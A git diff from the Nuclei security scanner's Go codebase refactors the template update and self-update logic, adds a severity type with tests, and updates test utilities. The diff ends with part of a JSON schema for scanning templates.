if !r.options.UpdateTemplates {
gologger.Warning().Msgf("nuclei-templates are not installed (or indexed), use update-templates flag.\n")
return nil
}
gologger.Info().Msgf("nuclei-templates are not installed, installing...\n")
// Use custom location if user has given a template directory
r.templatesConfig = &nucleiConfig{
TemplatesDirectory: path.Join(home, "nuclei-templates"),
r.templatesConfig = &config.Config{
TemplatesDirectory: filepath.Join(home, "nuclei-templates"),
}
if r.options.TemplatesDirectory != "" && r.options.TemplatesDirectory != path.Join(home, "nuclei-templates") {
r.templatesConfig.TemplatesDirectory = r.options.TemplatesDirectory
if r.options.TemplatesDirectory != "" && r.options.TemplatesDirectory != filepath.Join(home, "nuclei-templates") {
r.templatesConfig.TemplatesDirectory, _ = filepath.Abs(r.options.TemplatesDirectory)
}
// Download the repository and also write the revision to a HEAD file.
@ -120,21 +107,22 @@ func (r *Runner) updateTemplates() error {
}
gologger.Verbose().Msgf("Downloading nuclei-templates (v%s) to %s\n", version.String(), r.templatesConfig.TemplatesDirectory)
r.fetchLatestVersionsFromGithub() // also fetch latest versions
_, err = r.downloadReleaseAndUnzip(ctx, version.String(), asset.GetZipballURL())
if err != nil {
return err
}
r.templatesConfig.CurrentVersion = version.String()
err = r.writeConfiguration(r.templatesConfig)
err = config.WriteConfiguration(r.templatesConfig, true, checkedIgnore)
if err != nil {
return err
}
gologger.Info().Msgf("Successfully downloaded nuclei-templates (v%s). Enjoy!\n", version.String())
gologger.Info().Msgf("Successfully downloaded nuclei-templates (v%s). GoodLuck!\n", version.String())
return nil
}
// Check if last checked is more than 24 hours.
// Check if last checked is more than 24 hours and we don't have updateTemplates flag.
// If not, return since we don't want to do anything now.
if time.Since(r.templatesConfig.LastChecked) < 24*time.Hour && !r.options.UpdateTemplates {
return nil
@ -161,15 +149,12 @@ func (r *Runner) updateTemplates() error {
}
if version.EQ(oldVersion) {
gologger.Info().Msgf("Your nuclei-templates are up to date: v%s\n", oldVersion.String())
return r.writeConfiguration(r.templatesConfig)
return config.WriteConfiguration(r.templatesConfig, false, checkedIgnore)
}
if version.GT(oldVersion) {
if !r.options.UpdateTemplates {
gologger.Warning().Msgf("Your current nuclei-templates v%s are outdated. Latest is v%s\n", oldVersion, version.String())
return r.writeConfiguration(r.templatesConfig)
}
gologger.Info().Msgf("Your current nuclei-templates v%s are outdated. Latest is v%s\n", oldVersion, version.String())
gologger.Info().Msgf("Downloading latest release...")
if r.options.TemplatesDirectory != "" {
r.templatesConfig.TemplatesDirectory = r.options.TemplatesDirectory
@ -177,19 +162,72 @@ func (r *Runner) updateTemplates() error {
r.templatesConfig.CurrentVersion = version.String()
gologger.Verbose().Msgf("Downloading nuclei-templates (v%s) to %s\n", version.String(), r.templatesConfig.TemplatesDirectory)
r.fetchLatestVersionsFromGithub()
_, err = r.downloadReleaseAndUnzip(ctx, version.String(), asset.GetZipballURL())
if err != nil {
return err
}
err = r.writeConfiguration(r.templatesConfig)
err = config.WriteConfiguration(r.templatesConfig, true, checkedIgnore)
if err != nil {
return err
}
gologger.Info().Msgf("Successfully updated nuclei-templates (v%s). Enjoy!\n", version.String())
gologger.Info().Msgf("Successfully updated nuclei-templates (v%s). GoodLuck!\n", version.String())
}
return nil
}
// readInternalConfigurationFile reads the internal configuration file for nuclei
func (r *Runner) readInternalConfigurationFile(home, configDir string) error {
templatesConfigFile := filepath.Join(configDir, nucleiConfigFilename)
if _, statErr := os.Stat(templatesConfigFile); !os.IsNotExist(statErr) {
configuration, readErr := config.ReadConfiguration()
if readErr != nil {
return readErr
}
r.templatesConfig = configuration
if configuration.TemplatesDirectory != "" && configuration.TemplatesDirectory != filepath.Join(home, "nuclei-templates") {
r.options.TemplatesDirectory = configuration.TemplatesDirectory
}
}
return nil
}
// checkNucleiIgnoreFileUpdates checks .nuclei-ignore file for updates from github
func (r *Runner) checkNucleiIgnoreFileUpdates(configDir string) bool {
ignoreURL := defaultIgnoreURL
if r.templatesConfig != nil && r.templatesConfig.IgnoreURL != "" {
ignoreURL = r.templatesConfig.IgnoreURL
}
gologger.Verbose().Msgf("Downloading config file from %s", ignoreURL)
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
req, reqErr := http.NewRequestWithContext(ctx, http.MethodGet, ignoreURL, nil)
if reqErr == nil {
resp, httpGetErr := http.DefaultClient.Do(req)
if httpGetErr != nil {
if resp != nil && resp.Body != nil {
resp.Body.Close()
}
gologger.Warning().Msgf("Could not get ignore-file from %s: %s", ignoreURL, httpGetErr)
} else {
data, _ := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if len(data) > 0 {
_ = ioutil.WriteFile(filepath.Join(configDir, nucleiIgnoreFile), data, 0644)
}
if r.templatesConfig != nil {
if err := config.WriteConfiguration(r.templatesConfig, false, true); err != nil {
gologger.Warning().Msgf("Could not get ignore-file from %s: %s", ignoreURL, err)
}
}
}
}
cancel()
return true
}
// getLatestReleaseFromGithub returns the latest release from github
func (r *Runner) getLatestReleaseFromGithub() (semver.Version, *github.RepositoryRelease, error) {
client := github.NewClient(nil)
@ -266,15 +304,17 @@ func (r *Runner) downloadReleaseAndUnzip(ctx context.Context, version, downloadU
return nil, fmt.Errorf("failed to write templates: %s", err)
}
r.printUpdateChangelog(results, version)
checksumFile := path.Join(r.templatesConfig.TemplatesDirectory, ".checksum")
if r.options.Verbose {
r.printUpdateChangelog(results, version)
}
checksumFile := filepath.Join(r.templatesConfig.TemplatesDirectory, ".checksum")
err = writeTemplatesChecksum(checksumFile, results.checksums)
if err != nil {
return nil, errors.Wrap(err, "could not write checksum")
}
// Write the additions to a cached file for new runs.
additionsFile := path.Join(r.templatesConfig.TemplatesDirectory, ".new-additions")
additionsFile := filepath.Join(r.templatesConfig.TemplatesDirectory, ".new-additions")
buffer := &bytes.Buffer{}
for _, addition := range results.additions {
buffer.WriteString(addition)
@ -307,27 +347,27 @@ func (r *Runner) compareAndWriteTemplates(z *zip.Reader) (*templateUpdateResults
// If the path isn't found in new update after being read from the previous checksum,
// it is removed. This allows us fine-grained control over the download process
// as well as solves a long problem with nuclei-template updates.
checksumFile := path.Join(r.templatesConfig.TemplatesDirectory, ".checksum")
checksumFile := filepath.Join(r.templatesConfig.TemplatesDirectory, ".checksum")
previousChecksum, _ := readPreviousTemplatesChecksum(checksumFile)
for _, file := range z.File {
directory, name := filepath.Split(file.Name)
if name == "" {
continue
}
paths := strings.Split(directory, "/")
finalPath := strings.Join(paths[1:], "/")
paths := strings.Split(directory, string(os.PathSeparator))
finalPath := filepath.Join(paths[1:]...)
if strings.HasPrefix(name, ".") || strings.HasPrefix(finalPath, ".") || strings.EqualFold(name, "README.md") {
continue
}
results.totalCount++
templateDirectory := path.Join(r.templatesConfig.TemplatesDirectory, finalPath)
templateDirectory := filepath.Join(r.templatesConfig.TemplatesDirectory, finalPath)
err := os.MkdirAll(templateDirectory, os.ModePerm)
if err != nil {
return nil, fmt.Errorf("failed to create template folder %s : %s", templateDirectory, err)
}
templatePath := path.Join(templateDirectory, name)
templatePath := filepath.Join(templateDirectory, name)
isAddition := false
if _, statErr := os.Stat(templatePath); os.IsNotExist(statErr) {
@ -358,9 +398,9 @@ func (r *Runner) compareAndWriteTemplates(z *zip.Reader) (*templateUpdateResults
checksum := hex.EncodeToString(hasher.Sum(nil))
if isAddition {
results.additions = append(results.additions, path.Join(finalPath, name))
results.additions = append(results.additions, filepath.Join(finalPath, name))
} else if checksumOK && oldChecksum[0] != checksum {
results.modifications = append(results.modifications, path.Join(finalPath, name))
results.modifications = append(results.modifications, filepath.Join(finalPath, name))
}
results.checksums[templatePath] = checksum
}
@ -371,7 +411,7 @@ func (r *Runner) compareAndWriteTemplates(z *zip.Reader) (*templateUpdateResults
_, ok := results.checksums[k]
if !ok && v[0] == v[1] {
os.Remove(k)
results.deletions = append(results.deletions, strings.TrimPrefix(strings.TrimPrefix(k, r.templatesConfig.TemplatesDirectory), "/"))
results.deletions = append(results.deletions, strings.TrimPrefix(strings.TrimPrefix(k, r.templatesConfig.TemplatesDirectory), string(os.PathSeparator)))
}
}
return results, nil
@ -442,7 +482,7 @@ func writeTemplatesChecksum(file string, checksum map[string]string) error {
}
func (r *Runner) printUpdateChangelog(results *templateUpdateResults, version string) {
if len(results.additions) > 0 {
if len(results.additions) > 0 && r.options.Verbose {
gologger.Print().Msgf("\nNewly added templates: \n\n")
for _, addition := range results.additions {
@ -461,3 +501,108 @@ func (r *Runner) printUpdateChangelog(results *templateUpdateResults, version st
}
table.Render()
}
// fetchLatestVersionsFromGithub fetches latest versions of nuclei repos from github
func (r *Runner) fetchLatestVersionsFromGithub() {
nucleiLatest, err := r.githubFetchLatestTagRepo("projectdiscovery/nuclei")
if err != nil {
gologger.Warning().Msgf("Could not fetch latest nuclei release: %s", err)
}
templatesLatest, err := r.githubFetchLatestTagRepo("projectdiscovery/nuclei-templates")
if err != nil {
gologger.Warning().Msgf("Could not fetch latest nuclei-templates release: %s", err)
}
if r.templatesConfig != nil {
r.templatesConfig.NucleiLatestVersion = nucleiLatest
r.templatesConfig.NucleiTemplatesLatestVersion = templatesLatest
}
}
type githubTagData struct {
Name string
}
// githubFetchLatestTagRepo fetches latest tag from github
// This function was half written by github copilot AI :D.
func (r *Runner) githubFetchLatestTagRepo(repo string) (string, error) {
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
url := fmt.Sprintf("https://api.github.com/repos/%s/tags", repo)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
if err != nil {
return "", err
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
var tags []githubTagData
err = json.Unmarshal(body, &tags)
if err != nil {
return "", err
}
if len(tags) == 0 {
return "", fmt.Errorf("no tags found for %s", repo)
}
return strings.TrimPrefix(tags[0].Name, "v"), nil
}
// updateNucleiVersionToLatest implements nuclei auto-updation using Github Releases.
func updateNucleiVersionToLatest(verbose bool) error {
if verbose {
log.SetLevel(log.DebugLevel)
}
var command string
switch runtime.GOOS {
case "windows":
command = "nuclei.exe"
default:
command = "nuclei"
}
m := &update.Manager{
Command: command,
Store: &githubUpdateStore.Store{
Owner: "projectdiscovery",
Repo: "nuclei",
Version: config.Version,
},
}
releases, err := m.LatestReleases()
if err != nil {
return errors.Wrap(err, "could not fetch latest release")
}
if len(releases) == 0 {
gologger.Info().Msgf("No new updates found for nuclei engine!")
return nil
}
latest := releases[0]
var currentOS string
switch runtime.GOOS {
case "darwin":
currentOS = "macOS"
default:
currentOS = runtime.GOOS
}
final := latest.FindZip(currentOS, runtime.GOARCH)
if final == nil {
return fmt.Errorf("no compatible binary found for %s/%s", currentOS, runtime.GOARCH)
}
tarball, err := final.DownloadProxy(progress.Reader)
if err != nil {
return errors.Wrap(err, "could not download latest release")
}
if err := m.Install(tarball); err != nil {
return errors.Wrap(err, "could not install latest release")
}
gologger.Info().Msgf("Successfully updated to Nuclei %s\n", latest.Version)
return nil
}

15
v2/internal/runner/update_test.go
View File

@ -8,13 +8,13 @@ import (
"net/http"
"net/http/httptest"
"os"
"path"
"path/filepath"
"strings"
"testing"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
"github.com/stretchr/testify/require"
)
@ -25,7 +25,7 @@ func TestDownloadReleaseAndUnzipAddition(t *testing.T) {
require.Nil(t, err, "could not create temp directory")
defer os.RemoveAll(baseTemplates)
err = ioutil.WriteFile(path.Join(baseTemplates, "base.yaml"), []byte("id: test"), 0777)
err = ioutil.WriteFile(filepath.Join(baseTemplates, "base.yaml"), []byte("id: test"), 0777)
require.Nil(t, err, "could not create write base file")
err = zipFromDirectory("base.zip", baseTemplates)
@ -41,8 +41,7 @@ func TestDownloadReleaseAndUnzipAddition(t *testing.T) {
require.Nil(t, err, "could not create temp directory")
defer os.RemoveAll(templatesDirectory)
r := &Runner{templatesConfig: &nucleiConfig{TemplatesDirectory: templatesDirectory}}
r := &Runner{templatesConfig: &config.Config{TemplatesDirectory: templatesDirectory}, options: testutils.DefaultOptions}
results, err := r.downloadReleaseAndUnzip(context.Background(), "1.0.0", ts.URL)
require.Nil(t, err, "could not download release and unzip")
require.Equal(t, "base.yaml", results.additions[0], "could not get correct base addition")
@ -51,9 +50,9 @@ func TestDownloadReleaseAndUnzipAddition(t *testing.T) {
require.Nil(t, err, "could not create temp directory")
defer os.RemoveAll(newTempDir)
err = ioutil.WriteFile(path.Join(newTempDir, "base.yaml"), []byte("id: test"), 0777)
err = ioutil.WriteFile(filepath.Join(newTempDir, "base.yaml"), []byte("id: test"), 0777)
require.Nil(t, err, "could not create base file")
err = ioutil.WriteFile(path.Join(newTempDir, "new.yaml"), []byte("id: test"), 0777)
err = ioutil.WriteFile(filepath.Join(newTempDir, "new.yaml"), []byte("id: test"), 0777)
require.Nil(t, err, "could not create new file")
err = zipFromDirectory("new.zip", newTempDir)
@ -78,7 +77,7 @@ func TestDownloadReleaseAndUnzipDeletion(t *testing.T) {
require.Nil(t, err, "could not create temp directory")
defer os.RemoveAll(baseTemplates)
err = ioutil.WriteFile(path.Join(baseTemplates, "base.yaml"), []byte("id: test"), 0777)
err = ioutil.WriteFile(filepath.Join(baseTemplates, "base.yaml"), []byte("id: test"), 0777)
require.Nil(t, err, "could not create write base file")
err = zipFromDirectory("base.zip", baseTemplates)
@ -94,7 +93,7 @@ func TestDownloadReleaseAndUnzipDeletion(t *testing.T) {
require.Nil(t, err, "could not create temp directory")
defer os.RemoveAll(templatesDirectory)
r := &Runner{templatesConfig: &nucleiConfig{TemplatesDirectory: templatesDirectory}}
r := &Runner{templatesConfig: &config.Config{TemplatesDirectory: templatesDirectory}, options: testutils.DefaultOptions}
results, err := r.downloadReleaseAndUnzip(context.Background(), "1.0.0", ts.URL)
require.Nil(t, err, "could not download release and unzip")

54
v2/internal/severity/misc.go Normal file
View File

@ -0,0 +1,54 @@
package severity
import (
"fmt"
"strings"
)
type Severities []Severity
func (severities Severities) String() string {
return strings.Join(severities.ToStringArray(), ", ")
}
func (severities *Severities) Set(value string) error {
inputSeverities := toStringSlice(value)
for _, inputSeverity := range inputSeverities {
if err := setSeverity(severities, inputSeverity); err != nil {
return err
}
}
return nil
}
func setSeverity(severities *Severities, value string) error {
computedSeverity, err := toSeverity(value)
if err != nil {
return fmt.Errorf("'%s' is not a valid severity", value)
}
// TODO change the Severities type to map[Severity]interface{}, where the values are struct{}{}, to "simulates" a "set" data structure
*severities = append(*severities, computedSeverity)
return nil
}
func (severities *Severities) ToStringArray() []string {
var result []string
for _, severity := range *severities {
result = append(result, severity.String())
}
return result
}
func toStringSlice(value string) []string {
var result []string
if strings.Contains(value, ",") {
slices := strings.Split(value, ",")
result = append(result, slices...)
} else {
result = []string{value}
}
return result
}

95
v2/internal/severity/severity.go Normal file
View File

@ -0,0 +1,95 @@
package severity
import (
"encoding/json"
"strings"
"github.com/alecthomas/jsonschema"
"github.com/pkg/errors"
)
type Severity int
const (
Undefined Severity = iota
Info
Low
Medium
High
Critical
limit
)
var severityMappings = map[Severity]string{
Info: "info",
Low: "low",
Medium: "medium",
High: "high",
Critical: "critical",
}
func toSeverity(valueToMap string) (Severity, error) {
normalizedValue := normalizeValue(valueToMap)
for key, currentValue := range severityMappings {
if normalizedValue == currentValue {
return key, nil
}
}
return -1, errors.New("Invalid severity: " + valueToMap)
}
func GetSupportedSeverities() Severities {
var result []Severity
for index := Severity(1); index < limit; index++ {
result = append(result, index)
}
return result
}
func normalizeValue(value string) string {
return strings.TrimSpace(strings.ToLower(value))
}
func (severity Severity) String() string {
return severityMappings[severity]
}
//nolint:exported,revive //prefer to be explicit about the name, and make it refactor-safe
type SeverityHolder struct {
Severity Severity
}
func (severityHolder SeverityHolder) JSONSchemaType() *jsonschema.Type {
gotType := &jsonschema.Type{
Type: "string",
Title: "severity of the template",
Description: "Seriousness of the implications of the template",
}
for _, severity := range GetSupportedSeverities() {
gotType.Enum = append(gotType.Enum, severity.String())
}
return gotType
}
func (severityHolder *SeverityHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {
var marshalledSeverity string
if err := unmarshal(&marshalledSeverity); err != nil {
return err
}
computedSeverity, err := toSeverity(marshalledSeverity)
if err != nil {
return err
}
severityHolder.Severity = computedSeverity
return nil
}
func (severityHolder *SeverityHolder) MarshalJSON() ([]byte, error) {
return json.Marshal(severityHolder.Severity.String())
}
func (severityHolder SeverityHolder) MarshalYAML() (interface{}, error) {
return severityHolder.Severity.String(), nil
}

65
v2/internal/severity/severity_test.go Normal file
View File

@ -0,0 +1,65 @@
package severity
import (
"testing"
"gopkg.in/yaml.v2"
"github.com/stretchr/testify/assert"
)
func TestYamlUnmarshal(t *testing.T) {
testUnmarshal(t, yaml.Unmarshal, func(value string) string { return value })
}
func TestYamlMarshal(t *testing.T) {
severity := SeverityHolder{Severity: High}
marshalled, err := severity.MarshalYAML()
assert.Nil(t, err, "could not marshal yaml")
assert.Equal(t, "high", marshalled, "could not marshal severity correctly")
}
func TestYamlUnmarshalFail(t *testing.T) {
testUnmarshalFail(t, yaml.Unmarshal, createYAML)
}
func TestGetSupportedSeverities(t *testing.T) {
severities := GetSupportedSeverities()
assert.Equal(t, severities, Severities{Info, Low, Medium, High, Critical})
}
func testUnmarshal(t *testing.T, unmarshaller func(data []byte, v interface{}) error, payloadCreator func(value string) string) {
payloads := [...]string{
payloadCreator("Info"),
payloadCreator("info"),
payloadCreator("inFo "),
payloadCreator("infO "),
payloadCreator(" INFO "),
}
for _, payload := range payloads { // nolint:scopelint // false-positive
t.Run(payload, func(t *testing.T) {
result := unmarshal(payload, unmarshaller)
assert.Equal(t, result.Severity, Info)
assert.Equal(t, result.Severity.String(), "info")
})
}
}
func testUnmarshalFail(t *testing.T, unmarshaller func(data []byte, v interface{}) error, payloadCreator func(value string) string) {
assert.Panics(t, func() { unmarshal(payloadCreator("invalid"), unmarshaller) })
}
func unmarshal(value string, unmarshaller func(data []byte, v interface{}) error) SeverityHolder {
severityStruct := SeverityHolder{}
var err = unmarshaller([]byte(value), &severityStruct)
if err != nil {
panic(err)
}
return severityStruct
}
func createYAML(value string) string {
return "severity: " + value + "\n"
}

23
v2/internal/testutils/integration.go
View File

@ -1,15 +1,17 @@
package testutils
import (
"errors"
"net"
"os"
"os/exec"
"regexp"
"strings"
)
// RunNucleiAndGetResults returns a list of results for a template
func RunNucleiAndGetResults(template, url string, debug bool, extra ...string) ([]string, error) {
cmd := exec.Command("./nuclei", "-t", template, "-target", url)
cmd := exec.Command("./nuclei", "-t", template, "-target", url, "-silent")
if debug {
cmd = exec.Command("./nuclei", "-t", template, "-target", url, "-debug")
cmd.Stderr = os.Stderr
@ -30,9 +32,26 @@ func RunNucleiAndGetResults(template, url string, debug bool, extra ...string) (
return parts, nil
}
var templateLoaded = regexp.MustCompile(`(?:Templates|Workflows) loaded: (\d+)`)
// RunNucleiAndGetResults returns a list of results for a template
func RunNucleiBinaryAndGetLoadedTemplates(nucleiBinary string, args []string) (string, error) {
cmd := exec.Command(nucleiBinary, args...)
data, err := cmd.CombinedOutput()
if err != nil {
return "", err
}
matches := templateLoaded.FindAllStringSubmatch(string(data), -1)
if len(matches) == 0 {
return "", errors.New("no matches found")
}
return matches[0][1], nil
}
// RunNucleiWorkflowAndGetResults returns a list of results for a workflow
func RunNucleiWorkflowAndGetResults(template, url string, debug bool, extra ...string) ([]string, error) {
cmd := exec.Command("./nuclei", "-w", template, "-target", url)
cmd := exec.Command("./nuclei", "-w", template, "-target", url, "-silent")
if debug {
cmd = exec.Command("./nuclei", "-w", template, "-target", url, "-debug")
cmd.Stderr = os.Stderr

12
v2/internal/testutils/testutils.go
View File

@ -3,7 +3,9 @@ package testutils
import (
"github.com/logrusorgru/aurora"
"github.com/projectdiscovery/gologger/levels"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
"github.com/projectdiscovery/nuclei/v2/pkg/progress"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
@ -44,9 +46,9 @@ var DefaultOptions = &types.Options{
Retries: 1,
RateLimit: 150,
ProjectPath: "",
Severity: []string{},
Target: "",
Targets: "",
Severities: severity.Severities{},
Targets: []string{},
TargetsFilePath: "",
Output: "",
ProxyURL: "",
ProxySocksURL: "",
@ -95,13 +97,13 @@ func (m *MockOutputWriter) Request(templateID, url, requestType string, err erro
// TemplateInfo contains info for a mock executed template.
type TemplateInfo struct {
ID string
Info map[string]interface{}
Info model.Info
Path string
}
// NewMockExecuterOptions creates a new mock executeroptions struct
func NewMockExecuterOptions(options *types.Options, info *TemplateInfo) *protocols.ExecuterOptions {
progressImpl, _ := progress.NewStatsTicker(0, false, false, 0)
progressImpl, _ := progress.NewStatsTicker(0, false, false, false, 0)
executerOpts := &protocols.ExecuterOptions{
TemplateID: info.ID,
TemplateInfo: info.Info,

909
v2/nuclei-jsonschema.json Executable file
View File

@ -0,0 +1,909 @@
{
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/templates.Template",
"definitions": {
"severity.SeverityHolder": {
"enum": [
"info",
"low",
"medium",
"high",
"critical"
],
"type": "string",
"title": "severity of the template",
"description": "Seriousness of the implications of the template"
},
"model.Info": {
"properties": {
"name": {
"type": "string",
"title": "name of the template",
"description": "Name is a short summary of what the template does",
"examples": [
"Nagios Default Credentials Check"
]
},
"author": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/model.StringSlice",
"title": "author of the template",
"description": "Author is the author of the template"
},
"tags": {
"$ref": "#/definitions/model.StringSlice",
"title": "tags of the template",
"description": "Any tags for the template"
},
"description": {
"type": "string",
"title": "description of the template",
"description": "In-depth explanation on what the template does",
"examples": [
"Bower is a package manager which stores packages informations in bower.json file"
]
},
"reference": {
"$ref": "#/definitions/model.StringSlice",
"title": "references for the template",
"description": "Links relevant to the template"
},
"severity": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/severity.SeverityHolder"
},
"additional-fields": {
"patternProperties": {
".*": {
"type": "string"
}
},
"type": "object",
"title": "additional metadata for the template",
"description": "Additional metadata fields for the template"
}
},
"additionalProperties": false,
"type": "object"
},
"model.StringSlice": {
"oneOf": [
{
"type": "string"
},
{
"type": "array"
}
]
},
"extractors.Extractor": {
"required": [
"type"
],
"properties": {
"name": {
"type": "string",
"title": "name of the extractor",
"description": "Name of the extractor"
},
"type": {
"enum": [
"regex",
"kval",
"json",
"xpath"
],
"type": "string",
"title": "type of the extractor",
"description": "Type of the extractor"
},
"regex": {
"items": {
"type": "string"
},
"type": "array",
"title": "regex to extract from part",
"description": "Regex to extract from part"
},
"group": {
"type": "integer",
"title": "group to extract from regex",
"description": "Group to extract from regex"
},
"kval": {
"items": {
"type": "string"
},
"type": "array",
"title": "kval pairs to extract from response",
"description": "Kval pairs to extract from response"
},
"json": {
"items": {
"type": "string"
},
"type": "array",
"title": "json jq expressions to extract data",
"description": "JSON JQ expressions to evaluate from response part"
},
"xpath": {
"items": {
"type": "string"
},
"type": "array",
"title": "html xpath expressions to extract data",
"description": "XPath allows using xpath expressions to extract items from html response"
},
"attribute": {
"type": "string",
"title": "optional attribute to extract from xpath",
"description": "Optional attribute to extract from response XPath"
},
"part": {
"type": "string",
"title": "part of response to extract data from",
"description": "Part of the request response to extract data from"
},
"internal": {
"type": "boolean",
"title": "mark extracted value for internal variable use",
"description": "Internal when set to true will allow using the value extracted in the next request for some protocols"
}
},
"additionalProperties": false,
"type": "object"
},
"matchers.Matcher": {
"required": [
"type"
],
"properties": {
"type": {
"enum": [
"status",
"size",
"word",
"regex",
"dsl"
],
"type": "string",
"title": "type of matcher",
"description": "Type of the matcher"
},
"condition": {
"enum": [
"and",
"or"
],
"type": "string",
"title": "condition between matcher variables",
"description": "Condition between the matcher variables"
},
"part": {
"type": "string",
"title": "part of response to match",
"description": "Part of response to match data from"
},
"negative": {
"type": "boolean",
"title": "negative specifies if match reversed",
"description": "Negative specifies if the match should be reversed. It will only match if the condition is not true"
},
"name": {
"type": "string",
"title": "name of the matcher",
"description": "Name of the matcher"
},
"status": {
"items": {
"type": "integer"
},
"type": "array",
"title": "status to match",
"description": "Status to match for the response"
},
"size": {
"items": {
"type": "integer"
},
"type": "array",
"title": "acceptable size for response",
"description": "Size is the acceptable size for the response"
},
"words": {
"items": {
"type": "string"
},
"type": "array",
"title": "words to match in response",
"description": " Words contains word patterns required to be present in the response part"
},
"regex": {
"items": {
"type": "string"
},
"type": "array",
"title": "regex to match in response",
"description": "Regex contains regex patterns required to be present in the response part"
},
"binary": {
"items": {
"type": "string"
},
"type": "array",
"title": "binary patterns to match in response",
"description": "Binary are the binary patterns required to be present in the response part"
},
"dsl": {
"items": {
"type": "string"
},
"type": "array",
"title": "dsl expressions to match in response",
"description": "DSL are the dsl expressions that will be evaluated as part of nuclei matching rules"
},
"encoding": {
"enum": [
"hex"
],
"type": "string",
"title": "encoding for word field",
"description": "Optional encoding for the word fields"
}
},
"additionalProperties": false,
"type": "object"
},
"dns.Request": {
"properties": {
"matchers": {
"items": {
"$ref": "#/definitions/matchers.Matcher"
},
"type": "array",
"title": "matchers to run on response",
"description": "Detection mechanism to identify whether the request was successful by doing pattern matching"
},
"extractors": {
"items": {
"$ref": "#/definitions/extractors.Extractor"
},
"type": "array",
"title": "extractors to run on response",
"description": "Extractors contains the extraction mechanism for the request to identify and extract parts of the response"
},
"matchers-condition": {
"enum": [
"and",
"or"
],
"type": "string",
"title": "condition between the matchers",
"description": "Conditions between the matchers"
},
"id": {
"type": "string",
"title": "id of the dns request",
"description": "ID is the optional ID of the DNS Request"
},
"name": {
"type": "string",
"title": "hostname to make dns request for",
"description": "Name is the Hostname to make DNS request for"
},
"type": {
"enum": [
"A",
"NS",
"DS",
"CNAME",
"SOA",
"PTR",
"MX",
"TXT",
"AAAA"
],
"type": "string",
"title": "type of dns request to make",
"description": "Type is the type of DNS request to make"
},
"class": {
"enum": [
"INET",
"CSNET",
"CHAOS",
"HESIOD",
"NONE",
"ANY"
],
"type": "string",
"title": "class of DNS request",
"description": "Class is the class of the DNS request"
},
"retries": {
"type": "integer",
"title": "retries for dns request",
"description": "Retries is the number of retries for the DNS request"
},
"recursion": {
"type": "boolean",
"title": "recurse all servers",
"description": "Recursion determines if resolver should recurse all records to get fresh results"
}
},
"additionalProperties": false,
"type": "object"
},
"file.Request": {
"properties": {
"matchers": {
"items": {
"$ref": "#/definitions/matchers.Matcher"
},
"type": "array",
"title": "matchers to run on response",
"description": "Detection mechanism to identify whether the request was successful by doing pattern matching"
},
"extractors": {
"items": {
"$ref": "#/definitions/extractors.Extractor"
},
"type": "array",
"title": "extractors to run on response",
"description": "Extractors contains the extraction mechanism for the request to identify and extract parts of the response"
},
"matchers-condition": {
"enum": [
"and",
"or"
],
"type": "string",
"title": "condition between the matchers",
"description": "Conditions between the matchers"
},
"extensions": {
"items": {
"type": "string"
},
"type": "array",
"title": "extensions to match",
"description": "List of extensions to perform matching on"
},
"denylist": {
"items": {
"type": "string"
},
"type": "array",
"title": "extensions to deny match",
"description": "List of file extensions to deny during matching"
},
"id": {
"type": "string",
"title": "id of the request",
"description": "ID is the optional ID for the request"
},
"max-size": {
"type": "integer",
"title": "max size data to run request on",
"description": "Maximum size of the file to run request on"
},
"no-recursive": {
"type": "boolean",
"title": "do not perform recursion",
"description": "Specifies whether to not do recursive checks if folders are provided"
}
},
"additionalProperties": false,
"type": "object"
},
"headless.Request": {
"properties": {
"id": {
"type": "string",
"title": "id of the request",
"description": "Optional ID of the headless request"
},
"steps": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/engine.Action"
},
"type": "array",
"title": "list of actions for headless request",
"description": "List of actions to run for headless request"
},
"matchers": {
"items": {
"$ref": "#/definitions/matchers.Matcher"
},
"type": "array",
"title": "matchers to run on response",
"description": "Detection mechanism to identify whether the request was successful by doing pattern matching"
},
"extractors": {
"items": {
"$ref": "#/definitions/extractors.Extractor"
},
"type": "array",
"title": "extractors to run on response",
"description": "Extractors contains the extraction mechanism for the request to identify and extract parts of the response"
},
"matchers-condition": {
"enum": [
"and",
"or"
],
"type": "string",
"title": "condition between the matchers",
"description": "Conditions between the matchers"
}
},
"additionalProperties": false,
"type": "object"
},
"engine.Action": {
"required": [
"action"
],
"properties": {
"args": {
"patternProperties": {
".*": {
"type": "string"
}
},
"type": "object",
"title": "arguments for headless action",
"description": "Args contain arguments for the headless action"
},
"name": {
"type": "string",
"title": "name for headless action",
"description": "Name is the name assigned to the headless action"
},
"description": {
"type": "string",
"title": "description for headless action",
"description": "Description of the headless action"
},
"action": {
"enum": [
"navigate",
"script",
"click",
"rightclick",
"text",
"screenshot",
"time",
"select",
"files",
"waitload",
"getresource",
"extract",
"setmethod",
"addheader",
"setheader",
"deleteheader",
"setbody",
"waitevent",
"keyboard",
"debug",
"sleep"
],
"type": "string",
"title": "action to perform",
"description": "Type of actions to perform"
}
},
"additionalProperties": false,
"type": "object"
},
"http.Request": {
"properties": {
"matchers": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/matchers.Matcher"
},
"type": "array",
"title": "matchers to run on response",
"description": "Detection mechanism to identify whether the request was successful by doing pattern matching"
},
"extractors": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/extractors.Extractor"
},
"type": "array",
"title": "extractors to run on response",
"description": "Extractors contains the extraction mechanism for the request to identify and extract parts of the response"
},
"matchers-condition": {
